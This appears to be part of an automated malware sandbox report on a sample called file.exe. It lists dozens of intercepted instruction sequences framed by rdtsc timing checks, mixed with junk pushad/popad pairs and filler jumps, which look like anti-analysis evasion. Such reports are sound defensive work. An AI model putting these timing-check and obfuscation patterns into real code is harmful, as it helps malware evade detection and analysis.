Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07B1 second address: 73A07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07B7 second address: 73A07BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07BD second address: 73A07C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07C1 second address: 73A07C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07C5 second address: 73A07DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE475F11Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A07DD second address: 73A07F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE4D7C4A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73A0BCE second address: 73A0BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E08FC second address: 73E092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F1CE4D7C49Ch 0x00000010 mov dx, cx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E092A second address: 73E092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E092E second address: 73E0932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0932 second address: 73E0938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D021F second address: 73D0273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE4D7C49Fh 0x00000009 sbb al, FFFFFFCEh 0x0000000c jmp 00007F1CE4D7C4A9h 0x00000011 popfd 0x00000012 mov bx, cx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 sub esp, 44h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1CE4D7C4A9h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0273 second address: 73D0279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0279 second address: 73D027D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D027D second address: 73D028B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D028B second address: 73D02C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1CE4D7C4A7h 0x0000000a sub esi, 651939EEh 0x00000010 jmp 00007F1CE4D7C4A9h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D02C8 second address: 73D02E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D02E5 second address: 73D02EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D02EA second address: 73D02F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D02F0 second address: 73D0321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1CE4D7C4A8h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov esi, ebx 0x00000014 popad 0x00000015 push esp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b mov ecx, ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0321 second address: 73D03FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F128h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c jmp 00007F1CE475F120h 0x00000011 mov edi, dword ptr [ebp+08h] 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F1CE475F11Ch 0x0000001b mov di, si 0x0000001e popad 0x0000001f jmp 00007F1CE475F11Eh 0x00000024 popad 0x00000025 mov dword ptr [esp+24h], 00000000h 0x0000002d pushad 0x0000002e call 00007F1CE475F11Eh 0x00000033 mov bx, si 0x00000036 pop ecx 0x00000037 movsx edx, si 0x0000003a popad 0x0000003b lock bts dword ptr [edi], 00000000h 0x00000040 pushad 0x00000041 mov di, ax 0x00000044 call 00007F1CE475F120h 0x00000049 mov eax, 7FFD12C1h 0x0000004e pop ecx 0x0000004f popad 0x00000050 jc 00007F1D54261196h 0x00000056 pushad 0x00000057 pushad 0x00000058 call 00007F1CE475F129h 0x0000005d pop eax 0x0000005e pushad 0x0000005f popad 0x00000060 popad 0x00000061 push edi 0x00000062 push eax 0x00000063 pop edx 0x00000064 pop esi 0x00000065 popad 0x00000066 pop edi 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a call 00007F1CE475F11Eh 0x0000006f pop eax 0x00000070 jmp 00007F1CE475F11Bh 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D03FC second address: 73D0450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b call 00007F1CE4D7C49Ch 0x00000010 pop ebx 0x00000011 pushfd 0x00000012 jmp 00007F1CE4D7C49Eh 0x00000017 sub si, 2128h 0x0000001c jmp 00007F1CE4D7C49Bh 0x00000021 popfd 0x00000022 popad 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0450 second address: 73D0454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0454 second address: 73D0458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0458 second address: 73D045E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D045E second address: 73D0464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0464 second address: 73D0468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D0468 second address: 73D046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D046C second address: 73D04A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a jmp 00007F1CE475F120h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1CE475F127h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0A28 second address: 73E0A43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0A43 second address: 73E0A52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0A52 second address: 73E0A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0A56 second address: 73E0A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0A5A second address: 73E0A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0A60 second address: 73E0A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE475F11Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0D14 second address: 73E0D1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0D1A second address: 73E0D34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, dx 0x00000012 push edx 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73E0D34 second address: 73E0D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov cl, A8h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1CE4D7C4A2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430019 second address: 743003F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 6B42h 0x00000007 mov bh, F9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F1CE475F122h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 743003F second address: 743005B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 743005B second address: 743007E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1CE475F11Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 743007E second address: 74300DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1CE4D7C4A9h 0x00000012 add ax, CF36h 0x00000017 jmp 00007F1CE4D7C4A1h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F1CE4D7C4A0h 0x00000023 xor si, 8658h 0x00000028 jmp 00007F1CE4D7C49Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74300DE second address: 7430159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dl, byte ptr [ebp+14h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1CE475F11Ch 0x00000013 adc ecx, 349A17E8h 0x00000019 jmp 00007F1CE475F11Bh 0x0000001e popfd 0x0000001f jmp 00007F1CE475F128h 0x00000024 popad 0x00000025 mov eax, dword ptr [ebp+10h] 0x00000028 pushad 0x00000029 mov di, cx 0x0000002c call 00007F1CE475F11Ah 0x00000031 mov ecx, 0A6F8451h 0x00000036 pop ecx 0x00000037 popad 0x00000038 and dl, 00000007h 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e mov bx, 80BCh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430159 second address: 743016B instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov cl, 3Ah 0x00000009 popad 0x0000000a test eax, eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 743016B second address: 743016F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 743016F second address: 7430175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430175 second address: 74301A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F1D54225182h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F1CE475F123h 0x00000017 pop eax 0x00000018 mov bh, 49h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74301A6 second address: 74301CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1CE4D7C4A1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74301CC second address: 74301D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74301D0 second address: 74301D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74301D6 second address: 74301DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74301DC second address: 74301E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74301E0 second address: 7430216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ecx 0x00000009 jmp 00007F1CE475F122h 0x0000000e shr eax, 1 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1CE475F127h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7430216 second address: 7430019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1D54842434h 0x0000000e jne 00007F1CE4D7C48Dh 0x00000010 inc ecx 0x00000011 shr eax, 1 0x00000013 jne 00007F1CE4D7C48Dh 0x00000015 imul ecx, ecx, 03h 0x00000018 movzx eax, dl 0x0000001b cdq 0x0000001c sub ecx, 03h 0x0000001f call 00007F1CE4D8C98Dh 0x00000024 cmp cl, 00000040h 0x00000027 jnc 00007F1CE4D7C4A7h 0x00000029 cmp cl, 00000020h 0x0000002c jnc 00007F1CE4D7C498h 0x0000002e shld edx, eax, cl 0x00000031 shl eax, cl 0x00000033 ret 0x00000034 or edx, dword ptr [ebp+0Ch] 0x00000037 or eax, dword ptr [ebp+08h] 0x0000003a or edx, 80000000h 0x00000040 pop ebp 0x00000041 retn 0010h 0x00000044 push ebp 0x00000045 push 00000001h 0x00000047 push edx 0x00000048 push eax 0x00000049 call edi 0x0000004b mov edi, edi 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F1CE4D7C4A5h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74106EA second address: 74106EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74106EE second address: 74106F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410B41 second address: 7410B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410B45 second address: 7410BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esp 0x00000008 jmp 00007F1CE4D7C4A4h 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007F1CE4D7C4A0h 0x00000015 mov ebp, esp 0x00000017 jmp 00007F1CE4D7C4A0h 0x0000001c xchg eax, ebx 0x0000001d jmp 00007F1CE4D7C4A0h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1CE4D7C49Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410BA9 second address: 7410BAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410BAF second address: 7410BE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, E3h 0x00000005 push edi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov si, 30B9h 0x00000012 pushfd 0x00000013 jmp 00007F1CE4D7C4A6h 0x00000018 add al, FFFFFFC8h 0x0000001b jmp 00007F1CE4D7C49Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410BE8 second address: 7410C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1CE475F11Fh 0x00000008 jmp 00007F1CE475F128h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1CE475F127h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410C2F second address: 7410C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2D2Ah 0x00000007 pushfd 0x00000008 jmp 00007F1CE4D7C49Bh 0x0000000d or al, FFFFFFCEh 0x00000010 jmp 00007F1CE4D7C4A9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410C69 second address: 7410C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410C6D second address: 7410C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410C87 second address: 7410C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410C8D second address: 7410C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410C91 second address: 7410D73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F1CE475F11Eh 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 jmp 00007F1CE475F120h 0x00000019 sub ecx, ecx 0x0000001b jmp 00007F1CE475F121h 0x00000020 xchg eax, edi 0x00000021 jmp 00007F1CE475F11Eh 0x00000026 push eax 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F1CE475F121h 0x0000002e sbb si, 48D6h 0x00000033 jmp 00007F1CE475F121h 0x00000038 popfd 0x00000039 popad 0x0000003a xchg eax, edi 0x0000003b pushad 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F1CE475F124h 0x00000043 xor cx, A628h 0x00000048 jmp 00007F1CE475F11Bh 0x0000004d popfd 0x0000004e popad 0x0000004f popad 0x00000050 mov eax, 00000001h 0x00000055 jmp 00007F1CE475F122h 0x0000005a lock cmpxchg dword ptr [esi], ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F1CE475F127h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410D73 second address: 7410D7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0FDAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410D7C second address: 7410DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, eax 0x00000009 jmp 00007F1CE475F127h 0x0000000e cmp ecx, 01h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1CE475F124h 0x00000018 and esi, 16951878h 0x0000001e jmp 00007F1CE475F11Bh 0x00000023 popfd 0x00000024 jmp 00007F1CE475F128h 0x00000029 popad 0x0000002a jne 00007F1D54220904h 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F1CE475F127h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410DFF second address: 7410E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410E05 second address: 7410E47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jmp 00007F1CE475F126h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1CE475F127h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410E47 second address: 7410E8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007F1CE4D7C49Eh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1CE4D7C4A7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7410E8D second address: 73D021F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE475F11Fh 0x00000009 sub ah, FFFFFFCEh 0x0000000c jmp 00007F1CE475F129h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 retn 0004h 0x00000018 mov eax, esi 0x0000001a pop esi 0x0000001b pop edi 0x0000001c ret 0x0000001d call 00007F1CE475FBC5h 0x00000022 push eax 0x00000023 push 00EB6044h 0x00000028 call 00007F1CE4AF21E2h 0x0000002d jmp 00007F1CEAFE9C65h 0x00000032 mov edi, edi 0x00000034 jmp 00007F1CE475F11Eh 0x00000039 xchg eax, ebp 0x0000003a jmp 00007F1CE475F120h 0x0000003f push eax 0x00000040 jmp 00007F1CE475F11Bh 0x00000045 xchg eax, ebp 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007F1CE475F124h 0x0000004d xor cl, FFFFFFF8h 0x00000050 jmp 00007F1CE475F11Bh 0x00000055 popfd 0x00000056 mov ch, 35h 0x00000058 popad 0x00000059 mov ebp, esp 0x0000005b pushad 0x0000005c mov bh, 21h 0x0000005e jmp 00007F1CE475F11Ah 0x00000063 popad 0x00000064 and esp, FFFFFFF0h 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007F1CE475F127h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74002F1 second address: 74002F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 74002F7 second address: 74002FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
